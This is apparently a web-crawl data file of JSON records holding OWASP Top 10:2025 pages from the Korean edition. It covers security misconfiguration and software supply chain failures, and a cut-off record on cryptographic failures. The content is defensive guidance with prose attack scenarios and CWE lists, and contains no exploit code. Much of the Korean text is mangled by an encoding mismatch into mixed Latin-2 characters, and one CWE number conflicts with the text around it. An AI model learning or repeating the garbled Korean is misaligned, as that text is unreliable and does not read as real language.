"https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A02_2025-Security_Misconfiguration/", "titulek": "A02 보안 ě„¤ě • 오뼘 - OWASP Top 10:2025", "h1": "A02:2025 보안 ě„¤ě • 오뼘", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A02_2025-Security_Misconfiguration/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 보안 ě„¤ě • 오뼘"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜í‘œ."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "해당되는 CWE 목록."}], "markdown": "# A02:2025 보안 ě„¤ě • 오뼘\n\n## 배경.\n\n지난 ë˛„ě „ě—ě„œ 3단계 상승해 2위로 올라왔으며, 테스트된 ëŞ¨ë“ ě• í”ŒëŚŹěź€ě´ě…˜ě—ě„œ 잘못된 ě„¤ě • 중 한가지 이상이 발견되었다. 이번 ěš´í…Œęł ëŚŹ 내에서의 í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ ě€ 3% 이며, 총 CWE는 1,375ę°œě´ęł 71만 9천(719k)개가 넘는 ěˇ¨ě•˝ě ě´ 발견되었다. 최근 ě„¤ě • 가능한 소프트웨어 쪽으로 íŠ¸ë Œë“œę°€ 이동함에 따라 이번 ěš´í…Œęł ëŚŹ 순위 변동은 크게 놀라울 만한 일이 아니다. ěŁźëŞŠí• ë§Œí•œ CWE로는 `CWE-16: ě„¤ě •` ęˇ¸ëŚŹęł `CWE-611: XML 외부 엔티티 참조의 ëś€ě ě ˆí•œ ě œí•œ(XXE)`가 있다.\n\n## ě ěˆ˜í‘œ.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | í‰ęˇ ę°€ě¤‘ 악용도 | í‰ęˇ ę°€ě¤‘ 영향도 | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27.70% | 3.00% | 100.00% | 52.35% | 7.96 | 3.97 | 719,084 | 1,375 |\n\n## 설명.\n\n보안 ě„¤ě • 오류은 보안 ę´€ě ě—ě„œ 시스템, ě• í”ŒëŚŹěź€ě´ě…˜, 클라우드 서비스 ě„¤ě •ě´ 잘못되어 ěˇ¨ě•˝ě ě´ 발생하는 것을 말한다.\n\n다음과 같은 경우 ě• í”ŒëŚŹěź€ě´ě…˜ě€ ěˇ¨ě•˝í• ěˆ˜ 있다.\n\n- ě• í”ŒëŚŹěź€ě´ě…˜ 스택 ě „ë°˜ě— ě ě ˆí•œ 보안 하드닝이 ě ěšŠë˜ě§€ 않았거니, 클라우드 서비스 내 보안 ě„¤ě •ě´ 잘못 구성되어 있는 경우.\n- 불필요한 기능이 활성화 또는 설치된 경우. (예: 불필요 포트, 서비스, 페이지, ęł„ě •, 테스트 í”„ë ˆěž„ě›ŒíŹ 또는 권한)\n- 기본 ęł„ě •, 패스워드가 활성화되어 있거나 변경되지 않은 경우\n- 과도한 에러메시지를 ě˛˜ëŚŹí• ęłľí†ľ ě„¤ě •ě´ 부족하여 에러 처댏 ęłźě •ě—ě„œ 스택 íŠ¸ë ˆě´ěŠ¤(Stack trace)나 과도한 에러 ě •ëł´ 메시지가 사용자에게 ě „ë‹Źë˜ëŠ” 경우.\n- ě—…ęˇ¸ë ˆě´ë“œëœ 시스템에서 ěľœě‹ ëł´ě•ˆ 기능이 비활성화 되어 있거나 ě•ˆě „í•˜ę˛Œ ě„¤ě •ë˜ě§€ 않은 경우.\n- ě´ě „ ë˛„ě „ęłźě˜ 호환성을 ěš°ě„ ě‹œí•˜ě—Ź ě•ˆě „í•˜ě§€ 않은 ě„¤ě •ě„ 하는 경우.\n- ě• í”ŒëŚŹěź€ě´ě…˜ 서버 내 보안 ě„¤ě •, ě• í”ŒëŚŹěź€ě´ě…˜ í”„ë ˆěž„ě›ŒíŹ(예: ěŠ¤íŠ¸ëŸżě¸ (Struts), 스프링(Spring), ASP.NET), 라이브러리, ë°ě´í„°ë˛ ě´ěŠ¤ 등에서 보안 ě„¤ě •ě´ 되지 않은 경우.\n- 서버가 보안 헤더 또는 지시문을 ě „ë‹Źí•˜ě§€ 않거나 ě•ˆě „í•˜ě§€ 않은 ě„¤ě • 값으로 ě „ë‹Źë˜ëŠ” 경우.\n\něźę´€ë˜ęł ěžŹě‚ŹěšŠ 가능한 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 ě„¤ě • 하드닝 ě ˆě°¨ę°€ 없다면 시스템은 더 높은 위험에 놓인다.\n\n## 대응 방안.\n\n다음과 같은 항목들을 포함하여 보안성이 반영된 구성 ě ˆě°¨ëĽź 수립한다.\n\n- 재사용 가능한 하드닝 프로세스를 구축하여 필요한 보안 í†ľě œę°€ ě ěšŠëœ 동일한 형태의 ě‹ ęˇœ 환경을 ëš ëĽ´ęł ě‰˝ę˛Œ 배포 가능해야 한다. 개발, QA, 운영 환경은 모두 동일한 구성으로 ě„¤ě •í•˜ëŠ°, 각각의 환경에서 서로 다른 자격증명을 사용한다. 이 프로세스는 자동화하여 요구되는 새로운 보안환경을 구성하는 데 필요한 ë…¸ë Ľě„ 최소화한다.\n- 사용하지 않은 기능, 컴포넌트, 문서, 샘플을 포함하지 않는 최소한의 플랫폼을 구현한다. 사용하지 않는 기능과 í”„ë ˆěž„ě›ŒíŹëŠ” ě‚­ě œí•˜ęą°ë‚˜ 설치되지 않아야 한다.\n- 패치 관리 프로세스(ě°¸ęł : [A03 소프트웨어 공급망 체인 실패](../A03_2025-Software_Supply_Chain_Failures/) ) 수행 시 ëŞ¨ë“ ëł´ě•ˆ 공지, 업데이트, 패치에 따른 ě ě ˆí•œ ę˛€í† ë° 업데이트를 한다. 또한, 클라우드 ěŠ¤í† ëŚŹě§€ 권한(예: S3 버킷 권한)을 ě ę˛€í•œë‹¤.\n- 구성 요소 간 또는 테넌트 간 íš¨ęłźě ěœźëĄœ ę˛ŠëŚŹí• ěˆ˜ 있도록 세분화, 컨테이너화, 클라우드 보안 ꡸룚(ACL)을 활용해 ě• í”ŒëŚŹěź€ě´ě…˜ 아키텍쳐를 설계함으로써 íš¨ęłźě ě´ęł ě•ˆě „í•œ 분리 꾏쥰뼟 보장한다.\n- 보안 지시문을 클라이언트로 보내야 한다. (예: 보안 헤더)\n- 자동화된 프로세스를 구축하여 ëŞ¨ë“ í™˜ę˛˝ě—ě„œ 해당 ě„¤ě •ë“¤ě˜ ě•ˆě „ě„ąě„ 검증한다.\n- 만일의 경우를 대비해, 과도한 에러 메시지가 사용자에게 노출되지 않도록 공통 ě„¤ě •ě„ ě‚Źě „ě— 구성한다.\n- 만약 이런 검증사항들이 자동화되지 않았다면, 최소한 매년 1회는 수동으로 검증한다.\n- 코드, ě„¤ě • 파일, 파이프 라인 내 ě •ě ě¸ 키나 시크릿을 ě €ěžĽí•˜ëŠ” ëŒ€ě‹ í”ŒëžŤíźě—ě„œ ě œęłľí•˜ëŠ” 아이덴티티 íŽ˜ë”ë ˆě´ě…˜, 단기 ěœ íš¨ 자격 증명, 또는 ě—­í• ę¸°ë°˜ ě ‘ęˇź 매커니즘을 사용한다.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1:** 운영 서버에서 테스트용 ě• í”ŒëŚŹěź€ě´ě…˜ě´ 지워지지 않았다. 테스트용 ě• í”ŒëŚŹěź€ě´ě…˜ě€ 공격자가 해당 서버를 ęłľę˛Ší• ěˆ˜ 있는 보안 ěˇ¨ě•˝ě ě´ ěĄ´ěžŹí•œë‹¤ęł ě•Œë ¤ě ¸ 있으며, 그중 하나의 ě• í”ŒëŚŹěź€ě´ě…˜ě€ 관리자용 콘솔이라 ę°€ě •í•´ ëł´ę˛ ë‹¤. ęˇ¸ëŚŹęł ę¸°ëł¸ ęł„ě •ě€ 변경되지 않았다. 이런 경우 공격자는 기본 ęł„ě •ěœźëĄœ 로그인 한 뒤 시스템 장악이 가능하다.\n\n**시나리오 2:** 서버에서 ë””ë ‰í† ëŚŹ 리스팅이 활성화 되었을 때 공격자는 단순하게 ë””ë ‰í† ëŚŹ 목록을 íƒěƒ‰í• ěˆ˜ 있다. 공격자는 컴파일된 자바 클래스들을 찾거나 다운로드 í• ěˆ˜ ěžˆęł , 이런 클래스들을 디컴파일 하거나 리버싱 엔지니어링을 통해 코드를 ëłź 수 있다. ꡸ 뒤 공격자는 ě• í”ŒëŚŹěź€ě´ě…˜ 내에서 서버 ě ‘ęˇź ě œě–´ ěˇ¨ě•˝ě ě„ 찾은 뒤 악용 가능하다.\n\n**시나리오 3:** 사용자에게 반환되는 스택 íŠ¸ë ˆě´ěŠ¤(Stack trace) 같은 자세한 에러 메시지가 표시되도록 ě„¤ě •ë˜ě–´ 있는 경우 민감한 ě •ëł´ë‚˜ 해당 컴포넌트 ë˛„ě „ě— ě•Œë ¤ě§„ ěˇ¨ě•˝ě  같은 ęˇźëł¸ě  ěˇ¨ě•˝ě ě´ ë…¸ěśœë ę°€ëŠĽě„ąě´ 있다.\n\n**시나리오 4:** 클라우드 서비스 ě œęłľěž(Cloud service provider, CSP)는 인터넷에 자원을 ęłľěœ í•˜ëŠ” 권한이 기본 ě„¤ě •ě´ë‹¤. 이는 민감한 ě •ëł´ę°€ 공개된 클라우드 ěŠ¤í† ëŚŹě§€ 내 ě €ěžĽë ě‹œ 관계자 외 ě ‘ęˇźě„ í—ˆěšŠí• ěˆ˜ 있다.\n\n## 참쥰.\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V13 Configuration](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n- ScienceDirect: Security Misconfiguration\n\n## 해당되는 CWE 목록.\n\n- [CWE-5 J2EE Misconfiguration: Data Transmission Without Encryption](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 Active Debug Code](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 8772, "slov": 959, "odkazu": 57, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:34", "sha256": "a05b135c34fb626c4e7528cc78fc2bee180e5e6a9218f3624ee8e4630788d8c3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 소프트웨어 공급망 실패 - OWASP Top 10:2025", "h1": "A03:2025 Software Supply Chain Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 Software Supply Chain Failures"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A03:2025 Software Supply Chain Failures\n\n## Background.\n\nThis was top-ranked in the Top 10 community survey with exactly 50% respondents ranking it #1. Since initially appearing in the 2013 Top 10 as \"A9 – Using Components with Known Vulnerabilities\", the risk has grown in scope to include all supply chain failures, not just ones involving known vulnerabilities. Despite this increased scope, supply chain failures continue to be a challenge to identify with only 11 Common Vulnerability and Exposures (CVEs) having the related CWEs. However, when tested and reported in the contributed data, this category has the highest average incidence rate at 5.19%. The relevant CWEs are *CWE-477: Use of Obsolete Function, CWE-1104: Use of Unmaintained Third Party Components*, CWE-1329: *Reliance on Component That is Not Updateable*, and *CWE-1395: Dependency on Vulnerable Third-Party Component*.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9.56% | 5.72% | 65.42% | 27.47% | 8.17 | 5.23 | 215,248 | 11 |\n\n## Description.\n\nSoftware supply chain failures are breakdowns or other compromises in the process of building, distributing, or updating software. They are often caused by vulnerabilities or malicious changes in third-party code, tools, or other dependencies that the system relies on.\n\nYou are likely vulnerable if:\n\n- you do not carefully track the versions of all components that you use (both client-side and server-side). This includes components you directly use as well as nested (transitive) dependencies.\n- the software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.\n- you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.\n- you do not have a change management process or tracking of changes within your supply chain, including tracking IDEs, IDE extensions and updates, changes to your organization's code repository, sandboxes, image and library repositories, the way artifacts are created and stored, etc. Every part of your supply chain should be documented, especially changes.\n- you have not hardened every part of your supply chain, with a special focus on access control and the application of least privilege.\n- your supply chain systems do not have any separation of duty. No single person should be able to write code and promote it all the way to production without oversight from another human being.\n- components from untrusted sources, across any part of the tech stack, are used in or can impact on production environments.\n- you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, leaving organizations open to days or months of unnecessary exposure before fixing vulnerabilities.\n- software developers do not test the compatibility of updated, upgraded, or patched libraries.\n- you do not secure the configurations of every part of your system (see [A02:2025-Security Misconfiguration](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) ).\n- your CI/CD pipeline has weaker security than the systems it builds and deploys, especially if it is complex.\n\n## How to prevent.\n\nThere should be a patch management process in place to:\n\n- Centrally generate and manage the Software Bill of Materials (SBOM) of your entire software.\n- Track not just your direct dependencies, but their (transitive) dependencies, and so on.\n- Reduce attack surface by removing unused dependencies, unnecessary features, components, files, and documentation.\n- Continuously inventory the versions of both client-side and server-side components (e.g., frameworks, libraries) and their dependencies using tools like OWASP Dependency Track, OWASP Dependency Check, retire.js, etc.\n- Continuously monitor sources like Common Vulnerability and Exposures (CVE), National Vulnerability Database (NVD), and [Open Source Vulnerabilities (OSV)](https://osv.dev/) for vulnerabilities in the components you use. Use software composition analysis, software supply chain, or security-focused SBOM tools to automate the process. Subscribe to alerts for security vulnerabilities related to components you use.\n- Only obtain components from official (trusted) sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component (see [A08:2025-Software and Data Integrity Failures](https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/) ).\n- Deliberately choose which version of a dependency you use and upgrade only when there is need.\n- Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider migrating to an alternative. If that is not possible, consider deploying a virtual patch to monitor, detect, or protect against the discovered issue.\n- Update your CI/CD, IDE, and any other developer tooling regularly\n- Avoid deploying updates to all systems simultaneously. Use staged rollouts or canary deployments to limit exposure in case a trusted vendor is compromised.\n\nThere should be a change management process or tracking system in place to track changes to:\n\n- CI/CD settings (all build tools and pipelines)\n- Code repositories\n- Sandbox areas\n- Developer IDEs\n- SBOM tooling, and created artifacts\n- Logging systems and logs\n- Third party integrations, such as SaaS\n- Artifact repositories\n- Container registries\n\nHarden the following systems, which includes enabling MFA and locking down IAM:\n\n- Your code repository (which includes not checking in secrets, protecting branches, backups)\n- Developer workstations (regular patching, MFA, monitoring, and more)\n- Your build server & CI/CD (separation of duties, access control, signed builds, environment-scoped secrets, tamper-evident logs, more)\n- Your artifacts (ensure integrity via provenance, signing, and time stamping, promote artifacts rather than rebuilding for each environment, ensure builds are immutable)\n- Infrastructure as code (managed like all code, including use of PRs and version control)\n\nEvery organization must ensure an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.\n\n## Example attack scenarios.\n\n**Scenario #1:** A trusted vendor is compromised with malware, leading to your computer systems being compromised when you upgrade. The most famous example of this is probably:\n\n- The 2019 SolarWinds compromise that led to ~18,000 organizations being compromised. [https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**Scenario #2:** A trusted vendor is compromised such that it behaves maliciously only under a specific condition.\n\n- The 2025 Bybit theft of $1.5 billion was caused by [a supply chain attack in wallet software](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) that only executed when the target wallet was being used.\n\n**Scenario #3:** The [`Shai-Hulud` supply chain attack](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) in 2025 was the first successful self-propagating npm worm. Attacks seeded malicious versions of popular packages, which used a post-install script to harvest and exfiltrate sensitive data to public GitHub repositories. The malware would also detect npm tokens in the victim environment, and automatically use them to push malicious versions of any accessible package. The worm reached over 500 package versions before being disrupted by npm. This supply chain attack was advanced, fast-spreading, and damaging, and by targeting developer machines it demonstrated developers themselves are now prime targets for supply chain attacks.\n\n**Scenario #4:** Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g., coding error) or intentional (e.g., a backdoor in a component). Some example exploitable component vulnerabilities discovered are:\n\n- CVE-2017-5638, a Struts 2 remote code execution vulnerability that enables the execution of arbitrary code on the server, has been blamed for significant breaches.\n- CVE-2021-44228 (\"Log4Shell\"), an Apache Log4j remote code execution zero-day vulnerability, has been blamed for ransomware, cryptomining, and other attack campaigns.\n\n## References\n\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://owasp-aasvs.readthedocs.io/en/latest/v1.html)\n- [OWASP Dependency Check (for Java and .NET libraries)](https://owasp.org/www-project-dependency-check/)\n- OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cve.org)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://retirejs.github.io/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- Ruby Libraries Security Advisory Database and Tools\n- [SAFECode Software Integrity Controls (PDF)](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [Glassworm supply chain attack](https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html)\n- [PhantomRaven supply chain attack campaign](https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html)\n\n## List of Mapped CWEs\n\n- [CWE-447 Use of Obsolete Function](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 Reliance on Component That is Not Updateable](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 Reliance on Insufficiently Trustworthy Component](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 11331, "slov": 1447, "odkazu": 63, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:35", "sha256": "905826ee8f1117b1a9e4076e24cb53e47ba305eba3318c56e7998bd6043404a0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://owasp-aasvs.readthedocs.io/en/latest/v1.html", "https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html", "https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A04_2025-Cryptographic_Failures/", "titulek": "A04 암호 체계 실패 - OWASP Top 10:2025", "h1": "A04:2025 ě•”í˜¸í•™ě  실패", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A04_2025-Cryptographic_Failures/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 ě•”í˜¸í•™ě  실패"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜í‘œ."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A04:2025 ě•”í˜¸í•™ě  실패\n\n## 배경.\n\n2단계 하락해 4위에 ěœ ě§€í•˜ęł ěžˆë‹¤. 이번 ěš´í…Œęł ëŚŹëŠ” 암호화 부재, 불충분하게 강한 암호화, 약한 암호화키 ęˇ¸ëŚŹęł ě—ëŸŹě™€ ę´€ë ¨ëœ 실패에 ě¤‘ě ě„ 둔다. 해당 ěš´í…Œęł ëŚŹě— 포함된 3개의 CWE는 약한 의사 난수 생성기(PRNG)와 ę´€ë ¨ë˜ě–´ 있다. `CWE-327: ěœ„í—˜í•˜ęł ě‹¤íŒ¨í•œ 암호화 ě•Œęł ëŚŹěŚ˜`, `CWE-331: 불충분한 엔트로피`, `CWE-1241: 난수 생성기 내 예츥 가능한 ě•Œęł ëŚŹěŚ˜`, `CWE-338: ě•”í˜¸í•™ě  약한 의사난수 생성기(PRNG) 사용`\n\n## ě ěˆ˜í‘œ.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | 가중 í‰ęˇ ě•…ěšŠë„ | 가중 í‰ęˇ ě˜í–Ľë„ | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13.77% | 3.80% | 100.00% | 47.74% | 7.23 | 3.90 | 1,665,348 | 2,185 |\n\n## 설명.\n\n흔히 말하기를, [ě „ě†Ą 계층]((https://en.wikipedia.org/wiki/Transport_layer)([OSI 4계층](https://en.wikipedia.org/wiki/OSI_model)) 내 ëŞ¨ë“ ë°ě´í„°ëŠ” 암호화되어 ě „ě†Ąë˜ě–´ě•ź í•œë‹¤ęł í•œë‹¤. ě´ě „ 장벽으로 CPU 성능, 프라이빗 키/인증서 관리가 있었으나, 지금은 CPU ëŞ…ë 